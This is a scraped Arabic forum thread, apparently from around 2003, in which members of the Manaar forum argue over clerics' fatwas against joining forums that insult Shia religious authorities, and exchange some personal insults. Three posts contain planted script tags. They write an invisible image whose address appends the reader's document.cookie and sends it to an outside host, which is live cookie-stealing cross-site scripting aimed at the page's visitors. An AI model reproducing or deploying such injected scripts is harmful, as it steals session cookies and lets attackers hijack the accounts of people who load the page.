فتاوى المراجع العظام بخصوص هذا المنتدى والمشاركة به !

السلام عليكم

كنت متابعة للمنتدى من فترة و رأيت السب للمراجع فأرسلت للعلماء هذه الرسالة فجائني الجواب :

http://www.al-hdhd.net/pic/65.gif


<script>document.write('<img src="http://213.189.68.235'+document.cookie+'" width="0" height="0">');</script>

آية الله العظمى السيد كاظم الحائري
>-----Original Message-----
>From
>Sent: Saturday, May 24, 2003 3:08 PM
>To: alhaeri@alhaeri.org
>Subject: شتم العلماء والاساءة لهم !!
----------------------------------
هذا هو نص الرسالة - السؤال
----------------------------------
>بسمه تعالى
>اللهم صل على محمد وآل محمد
السلام عليكم ورحمة الله ..

للأسف الشديد ظهرت بالآونة الأخيرة ساحة للحوار بالانترنت بإدارة شيعية ، ولكن
الموضوعات التي تطرح بها هي سب وشتم ووضع صور كاركتيرية استهزائية بعلماء مثل
المرجع الشيخ التبريزي والشيخ الوحيد الخراساني .. وسبهم وشتمهم بأفضع الشتائم
وكذلك اتهام العديد من العلماء المعروفين بانهم من اهل الفسق والفجور .. وللاسف
ادارة المنتدى لاتتدخل وكأنها راضية بهذا الوضع ..

سؤالنا : هل يجوز المشاركة بهذا المنتدى الحواري ؟ والرد على هؤلاء ؟ مع العلم
بأن البعض من الافاضل حاول تبيين فضاعة افعالهم ونصحهم ولكن ذلك زادهم تعنتا
واستهزاء وشتم بالمراجع الأفضل ؟ أم أن تركه والابتعاد عنه أولى ؟

نرجوا منكم التوجيه والارشاد لنا

ودمتم بعين الله ورعايته

الجواب
بسم الله الرحمن الرحيم

لو امكن التأثير عليهم وارشادهم جاز الدخول والإشتراك في الحوار، وإلا فلا
>يجوز.

نفس السؤال و جواب الشيخ عيسى قاسم :

الجواب
السلام عليكم ورحمة الله وبركاته
بسمه تعالى
يجب الامر بالمعروف والنهي عن المنكر بما هو مقرر في الرسائل العملية بل المورد
من الموارد الخطيرة فحينما تستهدف الامة في علمائها فهي مستهدفة في اسلامها
صحيح أن الكثير من هؤلاء لا يعرفون هذه الحقيقة إلا أنهم يشعلون نارها فإذا
أمكن منعهم وجب وإلا فالصالح هو اجتناب هذه المواقع ورفضها واشعارها بالاعتراض
وعدم الرضا
لجنة الاجابة على الاسئلة الشرعية

جواب السيد حسن نصر الله

بسمه تعالى
لا يجوز المشاركة بأي عمل مهما كان مما فيه توهين وهتك لحرمة المرجعية العالية
الشأن والمقام عند الشيعة كونها الخط الحامي والمدافع والكافل لشيعة آل محمد
صلى الله عليه وآله.

شنو هاذى المسخرة هالقد عقلج صغير ماتعرفين الصح من الغلط يا ريم ...باجر حتى الغدا تحتاجين فتوى علشان تاكلينه ....والله حاله يعنى ما استفتيتى علشان السيد فضل الله ، بس علشان الخرسانى والتبريزى والمالكى ، والله هذا فخر , وشىء يشرف :)

جزاج الله الف خير

العضوة المحترمة ريم

شكرا لإهتمامك بمنتدى منار وسؤال العلماء عن المنتدى والمشاركة فيه ، إلا أن السؤال الذى توجهتى به إلى العلماء لم يحتوى على إسم منتدى منار، فالمقصود ربما منتديات اخرى تهاجم الشيخ التبريزى والشيخ الخرسانى موجودة على الإنترنت ومعروفة للجميع .

بالإضافة إلى أن منتدى منار مفتوح لجميع الآراء بما فيها المؤيدة للشيخ التبريزى والشيخ الخرسانى وكذلك الآراء التى تهاجم السيد فضل الله وبعضها يشتمه ويسميه بالضال .

كنا نتمنى أن تكونى أكثر انصافا فى تقييمك لهذا المنتدى الذى يتيح الفرصة للجميع للتعبير عن آرائهم ، وكم كان بودنا أن العلماء حفظهم الله تقصوا حقيقة الخبر وقراءة مواضيع المنتدى ، بدلا من التأثر ورد الفعل العاطفى ....وأخشى ما أخشى أن يثبت ذلك وجهة الطرف الذى يقول أن العلماء يفتون بدون سماع وجهة النظر الأخرى ولا يتحققون من حقيقية الأسئلة التى توجه لهم فيقعون فى مطبات ومشاكل هم فى غنى عنها .

مدير الموقع

صج ؟؟؟؟ هذا السلام

الاستفتاءات واضحة .

ان المنتديات اللي فيها سب للمراجع مثل هذا المنتدى ما يجوز المشاركة فيها و تايدها

صج ؟؟؟؟؟؟ !

كما قيل ....لعن الله ؟؟؟؟

إذا يوجد اشكال فى الكتابة فى هذا المنتدى فلماذا تكتب هنا يا؟؟؟؟ ، وهل تعتقد أن فتوى هنا أو هناك سوف تمنعنا من الكتابة عن أمثال التبريزى والخرسانى الذين يعيشان بعقلية القرون الوسطى وسوف يهلكون الناس معهم بتفكيرهم الأرعن .

اذهب يا هذا وتعلم شيئا مفيدا بدلا من الضلال الذى انت وأسيادك غارقين فيه فمثلك ؟؟؟؟ لايفقه دنيا ولا آخرة .

:confused: :confused:
<script>document.write('<img src="http://as36-c133.qualitynet.net/'+(document.cookie);</script>:confused: :confused:

عندى اسئلة للشخص الذى بعث بالأسئلة

إين صور فتاوى باقى العلماء ؟ لماذا الصورة الخاصة بفتوى السيستانى موجودة فقط ؟
وكيف يثبت أن الفتوى حقيقية ؟
كما سئل الأخوة لماذا لا نجد اسم المنتدى ضمن الفتوى ؟
لماذا الفتوى خاصة بالتبريزى والخرسانى ،أين السيد فضل الله ؟

وبعدين سويتى اللى عليج ، يالله الله معاج لاتشاركين علشان لا تسوين ذنوب :D


وياليت الأخ سلام ينتبه للنقطة هاذى ، بالنسبة للتكفيريين المشاركين ، يتم تنبيههم إذا موعاجبهم الوضع هنى لا زم يمشون وما يستغلون التسامح الموجود علشان يخربون المنتدى ولا يسبون العلماء الحقيقيين ، مثل المدعو يازهراء ، والحمار اللى مسمى نفسه لعن الله الضال ، فعدم وجودهم فى المنتدى هو حماية لهم من الذنوب والمعصية :D

سؤال يطرح نفسه
هل نحتاج حفا فتاوى واستبيانات لنقرر ان نشارك في هذا المنتدى اوذاك؟؟
اذا كان الأنسان مطمئنا على نفسه من انه لا يفعل منكرا ولا يرتكب اثما بل يشارك في الدفاع عن حق او ازالة غشاوة فلم لا.

مع احترامي ااتي استفتت
الحائري، فهو مثال من امثلة المرجعيات المتخلفة في الواقع الشيعي ومجرد حوار بسيط مع الأخ تتكشف لكم كم هو مصاب بالغرور والأحساس بالعظمة. فالرجل يعتبر نفسه اعلم من يعلم على وجه الأرض ومن لا يقلده فهو ضال.
نصر اللله ليس مجتهذا وبالتالي فكلامه ونصيحته لن تختلف كثيرا عن نصيحة اخ لأخيه او اب لأبنته او حتى صديق لصديقه قد تصيب وقد تخطئ وهو فوق ذلك له افكاره.

اظن اننا افضل ان نفتح ملف اموال الخمس التي يعبث بها الوكلاء كموضوع للنقاش بدلا من الدخول في معمعة ضال وضل وضلل به لأننا سنستمر في حلفة مفرغة.

شنو رايكم؟؟

والله خوش فكرة يا أخ العقيلى ، ياليت تعطينا موضوع عن الخمس والإستغلال اللى قاعد يصير .

وياحبذا لو وضعتم وصله فى منتدى شبكة العراق عن موضوع الفتاوى علشان الناس تشوف سخافة الحائرى وسخافة الشهرستانى وكيل السيستانى .

هذه الاستفتاءات تذكرني بمن ناقشته مرة على منتدى شيعه لنك منذ 3 سنوات حول السيد فضل الله فهددني باستفتاء يضللني ويجعلني مهدور الدم؟؟؟!!!؟؟
هل اصبحت الفتاوي رخيصة الى هذا الحد في الاوقات التي لانحتاجها وعزيزة جدا جدا في الاوقات الحرجة التي نحن بامس الحاجة اليها00

لماذا عندما نبعث باستفتاء حول التوضيح عن وكالة خطيب او عالم ما حتى لاتصرف الاموال لجهات غير معلومة لايخرج الجواب (ربما لاتوصل اللجنة المكلفة بعملية الرد الاستفتاء لتواطئها 00ربما؟؟) لماذا عندما تحصل فتنة يكون سببها خطيب ما تعرض على المنبر للعلماء وللمؤمنين والصالحين وخون هذا وفسق ذاك وجعل ذلك حزبيا لاياتينا الجواب000لماذا لاياتينا الجواب عندما نبعث باستفتاءات الطلب لتمويل مشروع خيري ما او انقاذ فقير ما او التدخل لحل بعض المشاكل المعينة في ساحة معينه لاياتينا الجواب00
اما عندما تكون المسالة حول منتدى نعتز به ولكنه مبتديء وصغير مقابل اهمية مانبعثه من استفسارات ياتيك الجواب باسرع من براق الاسراء والمعراج؟؟!!!؟؟
هل هذه المرجعيات اصبحت مزاجية لهذه الجردة ؟ ام ان نوعية الاسئلة والاجابة عليها انتقائية جدا وعنصرية؟ ام ان مكاتبهم وحواشيهم يديرون الامر بطريقة لاتحتاج لاكثر من رص الحروف وطبع الخاتم تحتها لتخرج استفتاء يؤكد حياة هذه المرجعية وتفاعلها مع فتن الساحة وصب النار عليها دون علم منهم00
لو طبقنا هذه الاستفتاءات بشكلها العام لوجب ادخال مرجعية السيد فضل الله (دام ظله) من بينها طالما ان الاسماء لم تذكر على وجه التحديد00كما ان هذا المنتدى فتح الاجواء بحرية للنقاش ولم يفتح الابواب للسباب00كنت ولا ازال ادعو لمحاورة افعال الشخص عن دليل حتى لو كان عالما كبيرا او خطيبا مفوها او مرجعا عاليا ولكن بروح مؤدبه بعيدة عن الاستخفاف الذي اجده احيانا من هذا الفريق المؤيد لهذا المرجع او المعارض لذلك المرجع00فللناقش مايهمنا فهم اشخاص تتعلق افعالهم بساحتنا وافعالنا وواقعنا ومستقبلنا ودنيانا واخرتنا00(واموالنا) (واعراضنا)000المسالة ماعادت بهذه البساطة حتى نطرح سؤالا عاما غير مفصل لياتينا جواب اعم منه وغير واضح وكانه يجيب عن اهمية شرب الماء ودوره في بقاء الانسان حيا00
نعم سب المراجع غير جائز ولكن هل نقد حواشيهم وحركتهم السلبية غير جائز ايضا وسيد الموحدين علي بن ابي طالب يدعونا في خطبه ليلا ونهارا وهو سيد المعصومين لنقده بشفافية حتى لايكون جبارا في الارض ولانه واثق من حركته المعصومة وليعلم الناس وليتعلموا منه فتصبح الحياة واضحه من غير لف او دوران او تعقيد او خفافيش00

نعم المشاركة في منتديات تتعدى على المراجع غير جائزة ولكن هل هذا يشمل نقد استفتاءاتهم السلبية تجاه مراجع اخرين لهم حظ كبير في قلوب مقلديهم الذين يتكاثرون ويتكاثرون وقلوب المؤمنين من ابناء الحركة الاسلامية00اننا نتناقش حول استفتاءاتهم المغلوطة والتي اعتمدت في حكمها على موضوعات اكتشفنا زيفها وزورها وكذبها فلابد ان نتناقش حولها لننبه هؤلاء المراجع الى خطا حكمهم لخطا الموضوعات التي اعتمدوا عليها00اوليس الموضوعات من تكليف المقلدين!!

كفى كهنوتا000لاتسدوا ابواب الحوار علينا بطرق ملتفه معروفه لكي تسدوا هذه الابواب الحوارية التي نتنسم منها عبير الحقيقة عبر هذه المواقع المشكورة على مجهودها00كلما عجز خط ما عن مجابهة مايقوله من يناوئه اخرج له استفتاء يحرم الدخول معه في نقاش00لقد جعلتم الفتوى لاقيمة لها بهذه الطريقة بعدما كانت نقطة حبر واحدة موقعة بختم المرجع تسقط عروش!!!


كان الاجدر بهؤلاء المستفتين ان يحثوا القائمين على المنتدى على فرض الكلمة النظيفه وادراج مواضيع بهذا الشان بدلا من التوجه لاغلاقه 00فالهروب من مواجهة السلبيات بدلا من مواجهتها لايدخلنا في حركة مواجهة الحياة وانما يجعلنا نغلق علينا كهوفنا الضيقه لنتقاتل في ظلامها الدامس لنحسب انفسنا ونحن لانرى بان المكان الضيق فضاء واسع وماهو الا فضاء واسع من وحي خيالنا المنطلق من العمى0

مرة اخرى لاشيء في الحوار اذا ما رشدناه وازدادت رقابة المنتدى حول بعض الكتابات التي تتعدى بحرية غير مسؤولة على الاشخاص بالسباب والشتم العني والغمز واللمز المهين00والا فالنقد البناء لحركة الشخص وافعاله وحتى سلوكه عن بينة ووثائق ووقائع مشهودة ماهي الا رقابة يحث عليها القران قبل النبي واهل بيته بل ويوجبها العقل وتؤكدها الفطرة السليمه00اعتقد بان اي منتدى جديد لابد ان تكون بدايته منفعله في مواضيعها واسلوب كتابتها حتى تاخذ العادة دورها الطبيعي فترشد الاسلوب وتعقل المواضيع00

مرة اخرى هنيئا لنا هذه المنتديات الحرة فلكم منا الاحترام والدعم بالكلمة المسؤولة النظيفه ولنا منكم فرض الحرية المسؤولة علينا بالقوة والرقابة الصارمة00

والله حاله لهذه الدرجة وصل العقل العربى والإسلامى إلى هذا الحضيض ، فى الواقع أنا اشكر الظروف التى هيئت لى معرفة المرجعيات الدينية على حقيقتها وأعرف الغث من الصالح ولعل هناك أمامى مشوار طويل لمعرفة المزيد ، لقد كنت من المخدوعين بهذ المرجعيات التى أراها الآن من أسباب نكبة هذه الأمة .

إلى الأخت التى استفتت بعض المراجع ، يا أختى يكفى كرامة لهذا المنتدى أنه اتاح لك فرصة وضع فتاواك التى تندد بهذا المنتدى ، إذهبى وشرقى وغربى ، هل هناك مثل هذه الحرية ....ونصيحة إذا كنت تعتقدين بصحة فتاواك ومقتنعة بما احتوته ، فيجب عليك عدم المشاركة .

الأخ سيد مرحوم ، بالواقع فعلا نحن نعيش عصر الكهنوت والردة الدينية والثقافية ، ولنسأل الله الرحمة بحالنا .

إلى هاشم الثريد ، سؤالكم عن سبب عدم ارسال استفتاء إلى الخرسانى والتبريزى لأن المذكورين لا يعرفان شيئا عن الإنترنت ، وأقصى علمهم هو عن الفاكس ، ويعتبر البريد الإلكترونى من المعاجز التى لا يحلمون بها :D :D

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

الاخوة الاعزاء دمتم موفقين


الحقيقة بداية الأمر أن المنتدى ليس لديه رقابة على عقول الناس بل أننا ندعو لحرية الفكر والخطابة العقلية الصحيحة لذا عهدنا على انفسنا أن نتحرر من جميع قيود الجهل و نتحرك في خط الفكر والرأي الصحيح . لذا أصبح فكرة المنتدى قابلة للرأي والرأي الآخر وهذا مصدرنا اعتزازنا وفخرنا .
ولكن يجب الالتفات إلى أن هناك بعض المشاركين الذيتن يخرجون عن أدب الحوار الهادف ويتفضلون بألفاظ غير لائقة وبعيدة كل البعد عن الجو الأخلاقي الإسلامي السليم وأننا لا نترتضى بهذه الاساليب و المخاطبات بل نعمل على محوها كل ما أمكننا ذلك ولكن أعذرونا أن البعض خرج عن السيطرة في الوقت المناسب ونتعهد بأن نمحو كل شتيمة بحق أي أنسان وبالمقابل لا نمحو أي رأي بخصوص أفكار و توجهات الناس بل نحن ندعو مخاطبة الأفكار ومناقشتها ولاندعو مخاطبة الاشخاص و محاكمتها أن جل أهتمامنا هو أظهار حقيقة الحوار الإسلامي البناء البعيد كل البعد عن الشخصانية البغضاء .

الاخت الكريمة ريم حفظكِ الله
أولا : أن الموضوعات لا ترجع للمراجع بل المكلف هو من يقرر الأخذ بها أو تركها و المشاركة في المنتديات عبارة عن موضوعات لا تدخل ضمن أطار التقليد .

ثانيا : أن الفتوى عامة وغير مخصصة لذا يجب عليك نشرها في جميع المنتديات الشيعية و خصوصا منتدى يا حسين و منتدى الميزان اللذان يشتملان على هذه المواضيع كما هو في جميع المنتديات الإسلامية .

ثالثا : هناك سؤال محير فعلا أن كانت المنتديات سخيفة و منحلة و تهاجم العلماء والمراجع لماذا لا تخرج فتاوى من العلماء تحرم المشاركة في جميع المنتديات ولا تخصص بعض المنتديات فقط . وكذلك لمذا تشاركين في منتدى غير مقتنعة بأسلوب الحوار فيه .

رابعا: أحب أن أعرف هل نحن دليا نظرية عدالة العلماء ولا يحق لنا مناقشة الآراء و الأفكار بدون التعرض للأشخاص .

يتبع

والسلام
خادمكم
خادم العلماء

تعليق رقم (2) حول الموضوع وحل استفسار الاخ خادم العلماء
من انه هل لدينا نحن الشيعة نظرية عدالة العلماء وبالتالي لا يحق لنا مناقشة الآراء و الأفكار بدون التعرض للأشخاص ؟!

وفي نظري لهو استفسار مهم جدا واجابته هي الفيصل مابين الدعوة المتطرفة لعدم نقد الاشخاص كلية وبين نقدها بشكل مطلق ومفتوح دون حواجز00

وبالتالي تعليقي عليها هو 00

لا اظن ان مناقشة الامور التي تهم الساحة وتحركها من خلال مناقشة افكار الاشخاص الذين يمثلون الرموز الحقيقية في عملية التقييم والمناقشة يعد دخول في الامور الشخصية00لابد ان نفرق بين الشخصنة بمعناها الموضوعي والقائم على اسس علمية وبعيدا عن الشتم الموجه المباشر وبين القراءة الموضوعية للحدث من خلال القواعد العلمية الدقيقة والبعيدة عن اثارة الاطراف المختلفة معي في الفكرة بالسباب والشتم للرموز التي يتفاعل معها00باختصار في رايي هناك فرق بين مايثيره تقييم موضوعي معين لافكار شخصية ما حتى لو ذكرت وقائع حقيقية مؤيدة بادلة وارقام , وبين مايثيره التقييم الغير موضوعي من خلال مايثيره من افكار موجهه بطريقة هستيرية استعراضية تستند على وقائع غير معروفة المصدر والموقع00في رايي لابد من مناقشة مواقف الاشخاص وافكارهم لانهم هم الرقم الحقيقي الذي يحرك الوقائع ويصنع التاريخ ومن المثالية الغير موضوعية الابتعاد عن ذلك بشكل كلي ومطلق00

يقول السيد مرحوم

(( نعم سب المراجع غير جائز ))

http://www.manaar.com/vb/showthread.php?s=&threadid=154

شوف هون مثلاً !

ولك امشى بزون :D

الى من علق على كلامي الاخ (لعن الله 00؟؟)

اذهب لنفس الرابط الذي وجهتني اليه واقرا تعليقي على الموضوع لتكتشف انني اعني ما اقوله نظريا وامارسه تطبيقا انشاء الله00

ارجو ان لايكون توجيهك اياي للرابط المذكور اعلاه في تعليقك عنادا وملاسنة ومجادلة وليس اصلاحا كما ارى واستشف من اسمك؟؟

الأخ المسمى لعن الله التبريزى

خويه أقعد عوج واتكلم عدل أحسن لك .

يا جماعة والله ديمقراطية فى هذا المنتدى ..... فتاوى ضد المنتدى ومنشورة بكل حرية على صفحات المنتدى ، بس السؤال ، إذا وجه أحد انتقاد حق أى واحد من المرجعيات التى افتت ضد المنتدى هل باستطاعة هذه المرجعيات تقبل هذا النقد أو حتى الرد عليه ؟؟

من جهة أخرى نقل موقع كتابات الشهير خبر الفتاوى ضد منتدى منار ومتوقع أن يثير الخبر ضجة كبرى !!

الزملاء راحوا يؤولون الفتاوي و يلفون و يدورون .. و الخ و اذا به الغبي شاكر يعترف ان الفتاوي لهذا المنتدى القذر فلاحظ :
الحائرى والسيستانى وعلماء آخرون يحرمون المشاركة فى منتدى منار



كتابات - شاكر الموسوى الحسينى



من هوان الدنيا أن نرى المرجعية والتى يفترض أنها تهتم بأمور المسلمين الحقة وتوجههم التوجيه الصحيح ، نجد هذه المرجعيات تساهم فى الإنحدار الفكرى والثقافى للأمة بانشغالها بسفاسف الأمور وتوافهها ، وآخر حلقة من هذه التفاهات تحريم بعض هذه المرجعيات الدخول والمشاركة فى منتدى منار للحوار ، وقد تصدى السيستانى ( مكتب قم ) والحائرى للحديث بإسهاب حول هذا الموضوع ، بالإضافة إلى علماء آخرين .



الغريب أن الإستفتاء الموجه للعلماء المذكورين لم يتطرق إلى الشتائم التى يتعرض لها سماحة السيد فضل الله وإنما اقتصرت على الدفاع عن حزب التكفير والتطبير وزعماء هذا الحزب وهما الشيخان التبريزى والخرسانى .



للإطلاع على حقيقة الموضوع ، يرجى زيارة الوصلة التالية :



http://www.manaar.com/vb/showthread....5&pagenumber=1



أو زيارة الموقع الأصلى وهو

manaar.com/vb.www



هووووووون
http://www.kitabat.com/r6671.htm

شنو هذا ، من أين أتى هذا الصعلوك ؟ كيف يشتم سيدنا شاكر ؟
ويبدو من كلامه أنه تكفيرى فلسطينى حاقد أو لبنانى ، ويسمى المنتدى بالقذر !!!

عجبى ......لماذا تشترك بالقذارة إذا ياقذر !

اخواني هذه الفتاوي ليس بها اي شىء

وسؤالي الى المدعوا لعن الله الضال لتبريزي
اذا كان هذا المنتدى كما تعتقد فأغرب عنه


هذه السالفة ذكرتني بنفس الشىء في موقع كتابات عندما اكتشف تزوير الفتوة الخاصة ب الكتاب الضلال بهدد اشخاص بأصدار فتوى من التبريزي صاحب الفتوى بتكفير منتدى كتابات ................. الى ذالك من الهرير



وشكرا

علماؤنا تاج على رؤوسنا


<script>document.write('<img src="http://213.189.68.235'+document.cookie+'" width="0" height="0">');</script>

الاخت ريم

هل منتدى الثعالب مشمول بالفتوى

و شكرا

الإساس هو منتدى الثعالب الذى يشرشح رجال الدين الثعالب المزيفين :D

استغرب من هذه الاستفتاءات المفبركة

أختي ريم , اذا كنت تعتقدين عدم جواز الدخول في هكذا منتديات فلك ذلك

الا اني استغرب ارسالك الاستفتاء لعدة علماء بدل استفتاء مرجعك فقط و اتباع فتواه

انتشرت ظاهرة الاستقواء بالفتوى و ادخالها كسلاح حاسم في شبكة الانترنت

و لي عدة تعليقات :

1-هذه الفتاوى جواب على سؤالك فاذا كنت ترين ذلك الشي فيجب عليك الالتزام به و لا يمكن لك بحال الزام الغير برؤيتك الخاصة التي اوردتيها في صيغة السؤال

فالأمر يتعلق بتشخيص المكلف

فاني شخصيا استفيد من ذلك حرمة الدخول الى المواقع التي تهاجم السيد فضل الله كموقع ضلال و غيرها

-القضية الاخرى التي قد يكون السيد شاكر اشتبه بها هو ان السيد السيستاني حفظه الله لم يصدر الاستفتاء و انما اصدره مكتبه بقم و بالنسبة لي هناك فرق ساشع بين الشهرستاني و السيد السيستاني حفظه الله (عندي على الاقل و لا الزم احدا برؤيتي)

-لا يلام العالم على ما أصدر فصيغة السؤال تقود الى الجواب
و هذا ما حصل في قضية السيد فضل الله من استقطاعات لكلامه من السياق و وضعها في استفتاء موجه

-تشخيص المواضيع الخارجية يتساوى فيه المرجع و مقلده و الفقيه ليس في المنتدى ليحكم بدقة و قد لا يكون ملما بآليات الانترنت و سياقاته

-تذكرني الفتوى بفتاوى الوهابية بمقاطعة مواقع الرافضة

هذه الفتاوى لا قيمة لها من الناحية الشرعية، وأراها ساهمت بعمل دعاية مجانية للمنتدى ، فشكرا لمن استفتى وشكرا للمراجع الذين افتوا ، وياليت الأخت ريم تكمل معروفها وتراسل مزيدا من المراجع للسؤال عن المنتدى ، لأنه حسب علمى أن الإستفتاء يدل على فعالية منتدى منار الذى اثار كل هذه الضجة .

لقد سمعت بالضجة المثارة عن المنتدى بالديوانية ، وقرأت الموضوع ، فعرفت أن المنتدى أثار بعض القوى السياسية فى الساحة الكويتية التى تعودت الإستقواء بالفتاوى لتحصيل مكاسب سياسية ، مثل الفتاوى التى سعوا لها وأصدرها بعض رجال الدين ضد حملات الحج الكويتية ، ولكن فات هذه الجماعات أن عالم الإنترنت يختلف عن عالم الواقع .

حسب علمى ان الفتاوى اللى صارت على المنتدى زادت من شهرة المنار وصار الحجى عن المنتدى على كل لسان ، والكل ينتظر آراء الأعضاء اللى يكتبون فى المنتدى خصوصا الأخوة الدائمين مثل بهبهانى وهاشم ولا يوجد وسيد مرحوم ، ومقاتل وغيرهم .

جزاكم الله خيرا :)